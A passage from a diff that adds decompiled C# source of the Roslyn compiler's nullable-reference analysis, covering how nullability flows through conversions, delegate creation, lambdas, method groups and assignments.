typeParameter1.ConstraintTypesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeWithAnnotations current = enumerator.Current; + if (current.Type is TypeParameterSymbol typeParameter3 && dependsOnTypeParameter(typeParameter3, typeParameter2, current.NullableAnnotation, out var annotation2)) + { + flag2 = true; + a = a.Meet(annotation2); + } + } + if (flag2) + { + annotation = a.Join(typeParameter1Annotation); + return true; + } + annotation = NullableAnnotation.NotAnnotated; + return false; + } + static NullableFlowState getBoxingConversionResultState(TypeWithAnnotations targetType, TypeWithState typeWithState2) + { + NullableFlowState state = typeWithState2.State; + if (state == NullableFlowState.MaybeNull) + { + TypeSymbol type4 = typeWithState2.Type; + if ((object)type4 == null || !type4.IsTypeParameterDisallowingAnnotationInCSharp8()) + { + return NullableFlowState.MaybeDefault; + } + if (targetType.NullableAnnotation.IsNotAnnotated() && type4 is TypeParameterSymbol typeParameter && targetType.Type is TypeParameterSymbol typeParameter2 && dependsOnTypeParameter(typeParameter, typeParameter2, NullableAnnotation.NotAnnotated, out var annotation)) + { + if (annotation != NullableAnnotation.Annotated) + { + return NullableFlowState.MaybeNull; + } + return NullableFlowState.MaybeDefault; + } + } + return state; + } + static NullableFlowState getConversionResultState(TypeWithState typeWithState2) + { + NullableFlowState state = typeWithState2.State; + if (state == NullableFlowState.MaybeNull) + { + return NullableFlowState.MaybeDefault; + } + return state; + } + static (MethodSymbol invokeSignature, ImmutableArray) getDelegateOrFunctionPointerInfo(TypeSymbol targetType) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + if (targetType is NamedTypeSymbol namedTypeSymbol) + { + if ((int)targetType.TypeKind == 3) + { + MethodSymbol delegateInvokeMethod = namedTypeSymbol.DelegateInvokeMethod; + if ((object)delegateInvokeMethod != null) + { + ImmutableArray parameters = delegateInvokeMethod.Parameters; + return (invokeSignature: delegateInvokeMethod, parameters); + } + } + } + else if (targetType is FunctionPointerTypeSymbol functionPointerTypeSymbol) + { + FunctionPointerMethodSymbol signature = functionPointerTypeSymbol.Signature; + if ((object)signature != null) + { + ImmutableArray parameters2 = signature.Parameters; + return (invokeSignature: signature, parameters2); + } + } + return (invokeSignature: null, ImmutableArray.Empty); + } + Location getDiagnosticLocation() + { + if (diagnosticLocation == null) + { + diagnosticLocation = (conversionOpt ?? conversionOperand).Syntax.GetLocation(); + } + return diagnosticLocation; + } + static NullableFlowState getReferenceConversionResultState(TypeWithAnnotations targetType, TypeWithState typeWithState2) + { + NullableFlowState state = typeWithState2.State; + switch (state) + { + case NullableFlowState.MaybeNull: + { + TypeSymbol type5 = targetType.Type; + if ((object)type5 != null && type5.IsTypeParameterDisallowingAnnotationInCSharp8()) + { + TypeSymbol type6 = typeWithState2.Type; + if ((object)type6 == null || !type6.IsTypeParameterDisallowingAnnotationInCSharp8()) + { + return NullableFlowState.MaybeDefault; + } + if (targetType.NullableAnnotation.IsNotAnnotated() && type6 is TypeParameterSymbol typeParameter && dependsOnTypeParameter(typeParameter, (TypeParameterSymbol)targetType.Type, NullableAnnotation.NotAnnotated, out var annotation)) + { + if (annotation != NullableAnnotation.Annotated) + { + return NullableFlowState.MaybeNull; + } + return NullableFlowState.MaybeDefault; + } + } + break; + } + case NullableFlowState.MaybeDefault: + { + TypeSymbol type4 = targetType.Type; + if ((object)type4 != null && !type4.IsTypeParameterDisallowingAnnotationInCSharp8()) + { + return NullableFlowState.MaybeNull; + } + break; + } + } + return state; + } + static NullableFlowState getUnboxingConversionResultState(TypeWithState typeWithState2) + { + NullableFlowState state = typeWithState2.State; + if (state == NullableFlowState.MaybeNull) + { + return NullableFlowState.MaybeDefault; + } + return state; + } + void visitHandlerConstruction(InterpolatedStringHandlerData handlerData) + { + VisitRvalue(handlerData.Construction); + } + void visitInterpolatedStringHandlerConstructor() + { + InterpolatedStringHandlerData interpolatedStringHandlerData = conversionOperand.GetInterpolatedStringHandlerData(throwOnMissing: false); + if (!interpolatedStringHandlerData.IsDefault) + { + if (previousArgumentConversionResults == null) + { + visitHandlerConstruction(interpolatedStringHandlerData); + } + else + { + bool flag2 = false; + ImmutableArray.Enumerator enumerator = interpolatedStringHandlerData.ArgumentPlaceholders.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundInterpolatedStringArgumentPlaceholder current = enumerator.Current; + int argumentIndex = current.ArgumentIndex; + if ((uint)(argumentIndex - -3) > 2u && previousArgumentConversionResults.Count > current.ArgumentIndex) + { + AddPlaceholderReplacement(current, null, previousArgumentConversionResults[current.ArgumentIndex]); + flag2 = true; + } + } + visitHandlerConstruction(interpolatedStringHandlerData); + if (flag2) + { + enumerator = interpolatedStringHandlerData.ArgumentPlaceholders.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundInterpolatedStringArgumentPlaceholder current2 = enumerator.Current; + if (current2.ArgumentIndex < previousArgumentConversionResults.Count && current2.ArgumentIndex >= 0) + { + RemovePlaceholderReplacement(current2); + } + } + } + } + } + } + } + + private TypeWithState VisitUserDefinedConversion(BoundConversion? conversionOpt, BoundExpression conversionOperand, Conversion conversion, TypeWithAnnotations targetTypeWithNullability, TypeWithState operandType, bool useLegacyWarnings, AssignmentKind assignmentKind, ParameterSymbol? parameterOpt, bool reportTopLevelWarnings, bool reportRemainingWarnings, Location diagnosticLocation) + { + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol type = targetTypeWithNullability.Type; + if (!conversion.IsValid) + { + TypeWithState typeWithState = TypeWithState.Create(type, NullableFlowState.NotNull); + TrackAnalyzedNullabilityThroughConversionGroup(typeWithState, conversionOpt, conversionOperand); + return typeWithState; + } + operandType = VisitConversion(conversionOpt, conversionOperand, conversion.UserDefinedFromConversion, TypeWithAnnotations.Create(conversion.BestUserDefinedConversionAnalysis.FromType), operandType, checkConversion: true, fromExplicitCast: false, useLegacyWarnings, assignmentKind, parameterOpt, reportTopLevelWarnings, reportRemainingWarnings, extensionMethodThisArgument: false, default(Optional), trackMembers: false, diagnosticLocation); + MethodSymbol method = conversion.Method; + ParameterSymbol parameterSymbol = method.Parameters[0]; + FlowAnalysisAnnotations parameterAnnotations = GetParameterAnnotations(parameterSymbol); + TypeWithAnnotations targetType = ApplyLValueAnnotations(parameterSymbol.TypeWithAnnotations, parameterAnnotations); + TypeWithState typeWithState2 = default(TypeWithState); + bool flag = false; + if (operandType.Type.IsNullableType() && !targetType.IsNullableType()) + { + TypeWithAnnotations nullableUnderlyingTypeWithAnnotations = operandType.Type.GetNullableUnderlyingTypeWithAnnotations(); + typeWithState2 = nullableUnderlyingTypeWithAnnotations.ToTypeWithState(); + flag = targetType.Equals(nullableUnderlyingTypeWithAnnotations, (TypeCompareKind)63); + } + NullableFlowState state = operandType.State; + Location location = conversionOperand.Syntax.GetLocation(); + ClassifyAndVisitConversion(conversionOperand, targetType, flag ? typeWithState2 : operandType, useLegacyWarnings, AssignmentKind.Argument, parameterSymbol, reportRemainingWarnings, fromExplicitCast: false, location); + if (!flag && CheckDisallowedNullAssignment(operandType, parameterAnnotations, conversionOperand.Syntax)) + { + LearnFromNonNullTest(conversionOperand, ref State); + } + TypeWithAnnotations returnTypeWithAnnotations = method.ReturnTypeWithAnnotations; + operandType = GetLiftedReturnTypeIfNecessary(flag, returnTypeWithAnnotations, state); + if (!flag || state.IsNotNull()) + { + operandType = ((!state.IsNotNull() || !method.ReturnNotNullIfParameterNotNull.Contains(parameterSymbol.Name)) ? ApplyUnconditionalAnnotations(operandType, GetRValueAnnotations(method)) : operandType.WithNotNullState()); + } + operandType = ClassifyAndVisitConversion(conversionOperand, TypeWithAnnotations.Create(conversion.BestUserDefinedConversionAnalysis.ToType), operandType, useLegacyWarnings, assignmentKind, parameterOpt, reportRemainingWarnings, fromExplicitCast: false, location); + operandType = ClassifyAndVisitConversion(conversionOpt ?? conversionOperand, targetTypeWithNullability, operandType, useLegacyWarnings, assignmentKind, parameterOpt, reportRemainingWarnings, conversionOpt?.ExplicitCastInCode ?? false, diagnosticLocation); + LearnFromPostConditions(conversionOperand, parameterAnnotations); + TrackAnalyzedNullabilityThroughConversionGroup(operandType, conversionOpt, conversionOperand); + return operandType; + } + + private void SnapshotWalkerThroughConversionGroup(BoundExpression conversionExpression, BoundExpression convertedNode) + { + if (_snapshotBuilderOpt != null) + { + BoundConversion boundConversion = conversionExpression as BoundConversion; + _ = boundConversion?.ConversionGroupOpt; + while (boundConversion != null && boundConversion != convertedNode && boundConversion.Syntax.SpanStart != convertedNode.Syntax.SpanStart) + { + TakeIncrementalSnapshot(boundConversion); + boundConversion = boundConversion.Operand as BoundConversion; + } + } + } + + private void TrackAnalyzedNullabilityThroughConversionGroup(TypeWithState resultType, BoundConversion? conversionOpt, BoundExpression convertedNode) + { + VisitResult visitResult = new VisitResult(resultType, resultType.ToTypeWithAnnotations(compilation)); + _ = conversionOpt?.ConversionGroupOpt; + while (conversionOpt != null && conversionOpt != convertedNode) + { + visitResult = withType(visitResult, conversionOpt.Type); + SetAnalyzedNullability(conversionOpt, visitResult); + conversionOpt = conversionOpt.Operand as BoundConversion; + } + static VisitResult withType(VisitResult visitResult2, TypeSymbol newType) + { + return new VisitResult(TypeWithState.Create(newType, visitResult2.RValueType.State), TypeWithAnnotations.Create(newType, visitResult2.LValueType.NullableAnnotation)); + } + } + + private TypeWithState GetLiftedReturnType(TypeWithAnnotations returnType, NullableFlowState operandState) + { + TypeSymbol type = (returnType.Type.IsNonNullableValueType() ? MakeNullableOf(returnType) : returnType.Type); + NullableFlowState defaultState = returnType.ToTypeWithState().State.Join(operandState); + return TypeWithState.Create(type, defaultState); + } + + private static TypeWithState GetNullableUnderlyingTypeIfNecessary(bool isLifted, TypeWithState typeWithState) + { + if (isLifted) + { + TypeSymbol type = typeWithState.Type; + if ((object)type != null && type.IsNullableType()) + { + return type.GetNullableUnderlyingTypeWithAnnotations().ToTypeWithState(); + } + } + return typeWithState; + } + + private TypeWithState GetLiftedReturnTypeIfNecessary(bool isLifted, TypeWithAnnotations returnType, NullableFlowState operandState) + { + if (!isLifted) + { + return returnType.ToTypeWithState(); + } + return GetLiftedReturnType(returnType, operandState); + } + + private TypeSymbol MakeNullableOf(TypeWithAnnotations underlying) + { + return compilation.GetSpecialType((SpecialType)32).Construct(ImmutableArray.Create(underlying)); + } + + private TypeWithState ClassifyAndVisitConversion(BoundExpression node, TypeWithAnnotations targetType, TypeWithState operandType, bool useLegacyWarnings, AssignmentKind assignmentKind, ParameterSymbol? parameterOpt, bool reportWarnings, bool fromExplicitCast, Location diagnosticLocation) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + Conversion conversion = _conversions.ClassifyStandardConversion(operandType.Type, targetType.Type, ref useSiteInfo); + if (reportWarnings && !conversion.Exists) + { + if (assignmentKind == AssignmentKind.Argument) + { + ReportNullabilityMismatchInArgument(diagnosticLocation, operandType.Type, parameterOpt, targetType.Type, forOutput: false); + } + else + { + ReportNullabilityMismatchInAssignment(diagnosticLocation, operandType.Type, targetType.Type); + } + } + return VisitConversion(null, node, conversion, targetType, operandType, checkConversion: false, fromExplicitCast, useLegacyWarnings, assignmentKind, parameterOpt, reportWarnings, !fromExplicitCast && reportWarnings, extensionMethodThisArgument: false, default(Optional), trackMembers: false, diagnosticLocation); + } + + public override BoundNode? VisitDelegateCreationExpression(BoundDelegateCreationExpression node) + { + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Invalid comparison between Unknown and I4 + if (node.MethodOpt?.OriginalDefinition is LocalFunctionSymbol symbol) + { + VisitLocalFunctionUse(symbol); + } + NamedTypeSymbol delegateType = (NamedTypeSymbol)node.Type; + BoundExpression argument = node.Argument; + Action analysisCompletion; + if (!(argument is BoundMethodGroup boundMethodGroup)) + { + if (!(argument is BoundLambda lambda)) + { + if (argument != null) + { + TypeSymbol type = argument.Type; + if ((object)type != null && (int)type.TypeKind == 3) + { + analysisCompletion = visitDelegateArgument(delegateType, argument, node.WasTargetTyped); + goto IL_00ad; + } + } + VisitRvalue(node.Argument); + analysisCompletion = null; + } + else + { + analysisCompletion = visitLambdaArgument(delegateType, lambda, node.WasTargetTyped); + } + } + else + { + analysisCompletion = visitMethodGroupArgument(node, delegateType, boundMethodGroup); + } + goto IL_00ad; + IL_00ad: + TypeWithState type2 = setAnalyzedNullability(node, delegateType, analysisCompletion, node.WasTargetTyped); + SetResultType(node, type2, updateAnalyzedNullability: false); + return null; + Action? analyzeDelegateConversion(NamedTypeSymbol namedTypeSymbol, BoundExpression arg, bool isTargetTyped) + { + if (isTargetTyped) + { + return analyzeDelegateConversionAsContinuation(arg); + } + TypeSymbol type3 = arg.Type; + if (!arg.IsSuppressed) + { + MethodSymbol delegateInvokeMethod = namedTypeSymbol.DelegateInvokeMethod; + if ((object)delegateInvokeMethod != null) + { + MethodSymbol methodSymbol = type3.DelegateInvokeMethod(); + if ((object)methodSymbol != null) + { + ReportNullabilityMismatchWithTargetDelegate(arg.Syntax.Location, namedTypeSymbol, delegateInvokeMethod, methodSymbol, invokedAsExtensionMethod: false); + } + } + } + return null; + } + Action analyzeDelegateConversionAsContinuation(BoundExpression arg) + { + return delegate(NamedTypeSymbol delegateType2) + { + analyzeDelegateConversion(delegateType2, arg, isTargetTyped: false); + }; + } + Action? analyzeLambdaConversion(NamedTypeSymbol namedTypeSymbol, BoundLambda boundLambda, bool isTargetTyped) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + if (isTargetTyped) + { + return analyzeLambdaConversionAsContinuation(boundLambda); + } + VisitLambda(boundLambda, namedTypeSymbol); + if (!boundLambda.IsSuppressed) + { + ReportNullabilityMismatchWithTargetDelegate(boundLambda.Symbol.DiagnosticLocation, namedTypeSymbol, boundLambda); + } + return null; + } + Action analyzeLambdaConversionAsContinuation(BoundLambda lambda2) + { + return delegate(NamedTypeSymbol delegateType2) + { + analyzeLambdaConversion(delegateType2, lambda2, isTargetTyped: false); + }; + } + Action? analyzeMethodGroupConversion(BoundDelegateCreationExpression boundDelegateCreationExpression, NamedTypeSymbol namedTypeSymbol, BoundMethodGroup group, bool isTargetTyped) + { + if (isTargetTyped) + { + return analyzeMethodGroupConversionAsContinuation(boundDelegateCreationExpression, group); + } + MethodSymbol methodOpt = boundDelegateCreationExpression.MethodOpt; + if ((object)methodOpt != null) + { + MethodSymbol delegateInvokeMethod = namedTypeSymbol.DelegateInvokeMethod; + if ((object)delegateInvokeMethod != null) + { + methodOpt = CheckMethodGroupReceiverNullability(group, delegateInvokeMethod.Parameters, methodOpt, boundDelegateCreationExpression.IsExtensionMethod); + if (!group.IsSuppressed) + { + ReportNullabilityMismatchWithTargetDelegate(group.Syntax.Location, namedTypeSymbol, delegateInvokeMethod, methodOpt, boundDelegateCreationExpression.IsExtensionMethod); + } + } + } + return null; + } + Action? analyzeMethodGroupConversionAsContinuation(BoundDelegateCreationExpression node2, BoundMethodGroup group) + { + return delegate(NamedTypeSymbol delegateType2) + { + analyzeMethodGroupConversion(node2, delegateType2, group, isTargetTyped: false); + }; + } + TypeWithState setAnalyzedNullability(BoundDelegateCreationExpression boundDelegateCreationExpression, NamedTypeSymbol type3, Action? analysisCompletion2, bool isTargetTyped) + { + TypeWithState typeWithState = TypeWithState.Create(type3, NullableFlowState.NotNull); + if (isTargetTyped) + { + setAnalyzedNullabilityAsContinuation(boundDelegateCreationExpression, analysisCompletion2); + } + else + { + SetAnalyzedNullability(boundDelegateCreationExpression, typeWithState); + } + return typeWithState; + } + void setAnalyzedNullabilityAsContinuation(BoundDelegateCreationExpression boundDelegateCreationExpression, Action? action) + { + ((Dictionary>)(object)TargetTypedAnalysisCompletion)[(BoundExpression)boundDelegateCreationExpression] = delegate(TypeWithAnnotations resultTypeWithAnnotations) + { + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)resultTypeWithAnnotations.Type; + action?.Invoke(namedTypeSymbol); + return setAnalyzedNullability(boundDelegateCreationExpression, namedTypeSymbol, null, isTargetTyped: false); + }; + } + Action? visitDelegateArgument(NamedTypeSymbol delegateType2, BoundExpression arg, bool isTargetTyped) + { + TypeWithAnnotations targetType = TypeWithAnnotations.Create(arg.Type, NullableAnnotation.NotAnnotated); + TypeWithState valueType = VisitRvalueWithState(arg); + ReportNullableAssignmentIfNecessary(arg, targetType, valueType, useLegacyWarnings: false); + LearnFromNonNullTest(arg, ref State); + return analyzeDelegateConversion(delegateType2, arg, isTargetTyped); + } + Action? visitLambdaArgument(NamedTypeSymbol delegateType2, BoundLambda boundLambda, bool isTargetTyped) + { + SetNotNullResult(boundLambda); + return analyzeLambdaConversion(delegateType2, boundLambda, isTargetTyped); + } + Action? visitMethodGroupArgument(BoundDelegateCreationExpression boundDelegateCreationExpression, NamedTypeSymbol delegateType2, BoundMethodGroup group) + { + VisitMethodGroup(group); + SetAnalyzedNullability(group, default(TypeWithState)); + return analyzeMethodGroupConversion(boundDelegateCreationExpression, delegateType2, group, boundDelegateCreationExpression.WasTargetTyped); + } + } + + public override BoundNode? VisitMethodGroup(BoundMethodGroup node) + { + BoundExpression receiverOpt = node.ReceiverOpt; + if (receiverOpt != null) + { + VisitRvalue(receiverOpt); + SetMethodGroupReceiverNullability(receiverOpt, ResultType); + } + SetNotNullResult(node); + return null; + } + + private bool TryGetMethodGroupReceiverNullability([NotNullWhen(true)] BoundExpression? receiverOpt, out TypeWithState type) + { + if (receiverOpt != null && _methodGroupReceiverMapOpt != null && ((Dictionary)(object)_methodGroupReceiverMapOpt).TryGetValue(receiverOpt, out type)) + { + return true; + } + type = default(TypeWithState); + return false; + } + + private void SetMethodGroupReceiverNullability(BoundExpression receiver, TypeWithState type) + { + if (_methodGroupReceiverMapOpt == null) + { + _methodGroupReceiverMapOpt = PooledDictionary.GetInstance(); + } + ((Dictionary)(object)_methodGroupReceiverMapOpt)[receiver] = type; + } + + private MethodSymbol CheckMethodGroupReceiverNullability(BoundMethodGroup group, ImmutableArray parameters, MethodSymbol method, bool invokedAsExtensionMethod) + { + BoundExpression receiverOpt = group.ReceiverOpt; + if (TryGetMethodGroupReceiverNullability(receiverOpt, out var type)) + { + SyntaxNode syntax = group.Syntax; + if (!invokedAsExtensionMethod) + { + method = (MethodSymbol)AsMemberOfType(type.Type, method); + } + if (method.IsGenericMethod && HasImplicitTypeArguments(group.Syntax)) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (invokedAsExtensionMethod) + { + instance.Add(CreatePlaceholderIfNecessary(receiverOpt, type.ToTypeWithAnnotations(compilation))); + } + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + TypeWithAnnotations typeWithAnnotations = current.TypeWithAnnotations; + instance.Add((BoundExpression)new BoundExpressionWithNullability(syntax, new BoundParameter(syntax, current), typeWithAnnotations.NullableAnnotation, typeWithAnnotations.Type)); + } + method = InferMethodTypeArguments(method, instance.ToImmutableAndFree(), default(ImmutableArray), default(ImmutableArray), expanded: false); + } + if (invokedAsExtensionMethod) + { + CheckExtensionMethodThisNullability(receiverOpt, Conversion.Identity, method.Parameters[0], type); + } + else + { + CheckPossibleNullReceiver(receiverOpt, type, checkNullableValueType: false); + } + if (ConstraintsHelper.RequiresChecking(method)) + { + CheckMethodConstraints(syntax, method); + } + } + return method; + } + + public override BoundNode? VisitLambda(BoundLambda node) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + if (!node.InAnonymousFunctionConversion) + { + VisitLambda(node, null); + } + SetNotNullResult(node); + return null; + } + + private void VisitLambda(BoundLambda node, NamedTypeSymbol? delegateTypeOpt, Optional initialState = default(Optional)) + { + MethodSymbol delegateInvokeMethod = delegateTypeOpt?.DelegateInvokeMethod; + UseDelegateInvokeParameterAndReturnTypes(node, delegateInvokeMethod, out var useDelegateInvokeParameterTypes, out var useDelegateInvokeReturnType); + if (useDelegateInvokeParameterTypes && _snapshotBuilderOpt != null) + { + SetUpdatedSymbol(node, node.Symbol, delegateTypeOpt); + } + AnalyzeLocalFunctionOrLambda(node, node.Symbol, initialState.HasValue ? initialState.Value : State.Clone(), delegateInvokeMethod, useDelegateInvokeParameterTypes, useDelegateInvokeReturnType); + } + + private static void UseDelegateInvokeParameterAndReturnTypes(BoundLambda lambda, MethodSymbol? delegateInvokeMethod, out bool useDelegateInvokeParameterTypes, out bool useDelegateInvokeReturnType) + { + if ((object)delegateInvokeMethod == null) + { + useDelegateInvokeParameterTypes = false; + useDelegateInvokeReturnType = false; + } + else + { + UnboundLambda unboundLambda = lambda.UnboundLambda; + useDelegateInvokeParameterTypes = !unboundLambda.HasExplicitlyTypedParameterList; + useDelegateInvokeReturnType = !unboundLambda.HasExplicitReturnType(out var _, out var _); + } + } + + public override BoundNode? VisitUnboundLambda(UnboundLambda node) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BoundLambda node2 = node.BindForErrorRecovery(); + VisitLambda(node2, null); + SetNotNullResult(node); + return null; + } + + public override BoundNode? VisitThisReference(BoundThisReference node) + { + VisitThisOrBaseReference(node); + return null; + } + + private void VisitThisOrBaseReference(BoundExpression node) + { + TypeWithState resultType = TypeWithState.Create(node.Type, NullableFlowState.NotNull); + TypeWithAnnotations lvalueType = TypeWithAnnotations.Create(node.Type, NullableAnnotation.NotAnnotated); + SetResult(node, resultType, lvalueType); + } + + public override BoundNode? VisitParameter(BoundParameter node) + { + ParameterSymbol parameterSymbol = node.ParameterSymbol; + int orCreateSlot = GetOrCreateSlot(parameterSymbol); + TypeWithAnnotations declaredParameterResult = GetDeclaredParameterResult(parameterSymbol); + TypeWithState parameterState = GetParameterState(declaredParameterResult, parameterSymbol.FlowAnalysisAnnotations); + SetResult(node, GetAdjustedResult(parameterState, orCreateSlot), declaredParameterResult); + return null; + } + + public override BoundNode? VisitAssignmentOperator(BoundAssignmentOperator node) + { + BoundExpression boundExpression = node.Left; + if (boundExpression is BoundFieldAccess { ExpressionSymbol: FieldSymbol { AssociatedSymbol: var associatedSymbol } } boundFieldAccess) + { + if (!(associatedSymbol is PropertySymbol propertySymbol)) + { + if (associatedSymbol is EventSymbol eventSymbol) + { + BoundFieldAccess boundFieldAccess2 = boundFieldAccess; + boundExpression = new BoundEventAccess(boundFieldAccess2.Syntax, boundFieldAccess2.ReceiverOpt, eventSymbol, isUsableAsField: true, LookupResultKind.Viable, eventSymbol.Type, boundFieldAccess2.HasErrors); + } + } + else + { + boundExpression = new BoundPropertyAccess(boundFieldAccess.Syntax, boundFieldAccess.ReceiverOpt, (ThreeState)0, propertySymbol, LookupResultKind.Viable, propertySymbol.Type, boundFieldAccess.HasErrors); + } + } + BoundExpression right = node.Right; + VisitLValue(boundExpression); + Unsplit(); + FlowAnalysisAnnotations lValueAnnotations = GetLValueAnnotations(boundExpression); + TypeWithAnnotations typeWithAnnotations = ApplyLValueAnnotations(LvalueResultType, lValueAnnotations); + if (boundExpression.Kind == BoundKind.EventAccess && ((BoundEventAccess)boundExpression).EventSymbol.IsWindowsRuntimeEvent) + { + VisitRvalue(right); + SetNotNullResult(node); + } + else + { + TypeWithState rightState; + if (!node.IsRef) + { + bool flag = boundExpression is BoundDiscardExpression; + rightState = VisitOptionalImplicitConversion(right, flag ? default(TypeWithAnnotations) : typeWithAnnotations, UseLegacyWarnings(boundExpression), trackMembers: true, AssignmentKind.Assignment); + Unsplit(); + } + else + { + rightState = VisitRefExpression(right, typeWithAnnotations); + } + CheckDisallowedNullAssignment(rightState, lValueAnnotations, right.Syntax); + AdjustSetValue(boundExpression, ref rightState); + TrackNullableStateForAssignment(right, typeWithAnnotations, MakeSlot(boundExpression), rightState, MakeSlot(right)); + if (boundExpression is BoundDiscardExpression) + { + TypeWithAnnotations lvalueType = rightState.ToTypeWithAnnotations(compilation); + SetResult(boundExpression, rightState, lvalueType, updateAnalyzedNullability: true, true); + SetResult(node, rightState, lvalueType); + } + else + { + SetResult(node, TypeWithState.Create(typeWithAnnotations.Type, rightState.State), typeWithAnnotations); + } + } + return null; + } + + private bool IsPropertyOutputMoreStrictThanInput(PropertySymbol property) + { + TypeWithAnnotations typeWithAnnotations = property.TypeWithAnnotations; + FlowAnalysisAnnotations flowAnalysisAnnotations = ((!IsAnalyzingAttribute) ? property.GetFlowAnalysisAnnotations() : FlowAnalysisAnnotations.None); + TypeWithAnnotations typeWithAnnotations2 = ApplyLValueAnnotations(typeWithAnnotations, flowAnalysisAnnotations); + if (typeWithAnnotations2.NullableAnnotation.IsOblivious() || !typeWithAnnotations2.CanBeAssignedNull) + { + return false; + } + return ApplyUnconditionalAnnotations(typeWithAnnotations.ToTypeWithState(), flowAnalysisAnnotations).IsNotNull; + } + + private void AdjustSetValue(BoundExpression left, ref TypeWithState rightState) + { + PropertySymbol propertySymbol = ((left is BoundPropertyAccess boundPropertyAccess) ? boundPropertyAccess.PropertySymbol : ((!(left is BoundIndexerAccess boundIndexerAccess)) ? null : boundIndexerAccess.Indexer)); + PropertySymbol propertySymbol2 = propertySymbol; + if ((object)propertySymbol2 != null && IsPropertyOutputMoreStrictThanInput(propertySymbol2)) + { + rightState = rightState.WithNotNullState(); + } + } + + private FlowAnalysisAnnotations GetLValueAnnotations(BoundExpression expr) + { + if (IsAnalyzingAttribute) + { + return FlowAnalysisAnnotations.None; + } + FlowAnalysisAnnotations flowAnalysisAnnotations; + if (!(expr is BoundPropertyAccess boundPropertyAccess)) + { + if (!(expr is BoundIndexerAccess boundIndexerAccess)) + { + if (!(expr is BoundFieldAccess boundFieldAccess)) + { + if (expr is BoundParameter boundParameter) + { + ParameterSymbol parameterSymbol = boundParameter.ParameterSymbol; + if ((object)parameterSymbol != null) + { + flowAnalysisAnnotations = ToInwardAnnotations(GetParameterAnnotations(parameterSymbol) & ~FlowAnalysisAnnotations.NotNull); + goto IL_0084; + } + } + flowAnalysisAnnotations = FlowAnalysisAnnotations.None; + } + else + { + flowAnalysisAnnotations = GetFieldAnnotations(boundFieldAccess.FieldSymbol); + } + } + else + { + flowAnalysisAnnotations = boundIndexerAccess.Indexer.GetFlowAnalysisAnnotations(); + } + } + else + { + flowAnalysisAnnotations = boundPropertyAccess.PropertySymbol.GetFlowAnalysisAnnotations(); + } + goto IL_0084; + IL_0084: + return flowAnalysisAnnotations & (FlowAnalysisAnnotations.AllowNull | FlowAnalysisAnnotations.DisallowNull); + } + + private static FlowAnalysisAnnotations GetFieldAnnotations(FieldSymbol field) + { + if (!(field.AssociatedSymbol is PropertySymbol property)) + { + return field.FlowAnalysisAnnotations; + } + return property.GetFlowAnalysisAnnotations(); + } + + private FlowAnalysisAnnotations GetObjectInitializerMemberLValueAnnotations(Symbol memberSymbol) + { + if (IsAnalyzingAttribute) + { + return FlowAnalysisAnnotations.None; + } + FlowAnalysisAnnotations flowAnalysisAnnotations = ((memberSymbol is PropertySymbol property) ? property.GetFlowAnalysisAnnotations() : ((memberSymbol is FieldSymbol field) ? GetFieldAnnotations(field) : FlowAnalysisAnnotations.None)); + return flowAnalysisAnnotations & (FlowAnalysisAnnotations.AllowNull | FlowAnalysisAnnotations.DisallowNull); + } + + private static FlowAnalysisAnnotations ToInwardAnnotations(FlowAnalysisAnnotations outwardAnnotations) + { + FlowAnalysisAnnotations flowAnalysisAnnotations = FlowAnalysisAnnotations.None; + if ((outwardAnnotations & FlowAnalysisAnnotations.MaybeNull) != FlowAnalysisAnnotations.None) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.AllowNull; + } + if ((outwardAnnotations & FlowAnalysisAnnotations.NotNull) == FlowAnalysisAnnotations.NotNull) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.DisallowNull; + } + return flowAnalysisAnnotations; + } + + private static bool UseLegacyWarnings(BoundExpression expr) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Invalid comparison between Unknown and I4 + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Invalid comparison between Unknown and I4 + if (expr is BoundLocal boundLocal) + { + LocalSymbol localSymbol = boundLocal.LocalSymbol; + if ((object)localSymbol != null && (int)localSymbol.RefKind == 0) + { + goto IL_0061; + } + } + else if (expr is BoundParameter boundParameter) + { + ParameterSymbol parameterSymbol = boundParameter.ParameterSymbol; + if ((object)parameterSymbol != null && (int)parameterSymbol.RefKind == 0 && (!(parameterSymbol.ContainingSymbol is SynthesizedPrimaryConstructor synthesizedPrimaryConstructor) || !synthesizedPrimaryConstructor.GetCapturedParameters().ContainsKey(parameterSymbol))) + { + goto IL_0061; + } + } + return false; + IL_0061: + return true; + } + + public override BoundNode? VisitDeconstructionAssignmentOperator(BoundDeconstructionAssignmentOperator node) + { + return VisitDeconstructionAssignmentOperator(node, null); + } + + private BoundNode? VisitDeconstructionAssignmentOperator(BoundDeconstructionAssignmentOperator node, TypeWithState? rightResultOpt) + { + bool disableNullabilityAnalysis = _disableNullabilityAnalysis; + _disableNullabilityAnalysis = true; + BoundTupleExpression left = node.Left; + BoundConversion right = node.Right; + ArrayBuilder deconstructionAssignmentVariables = GetDeconstructionAssignmentVariables(left); + if (node.HasErrors) + { + VisitRvalue(right.Operand); + } + else + { + VisitDeconstructionArguments(deconstructionAssignmentVariables, right.Conversion, right.Operand, rightResultOpt); + } + 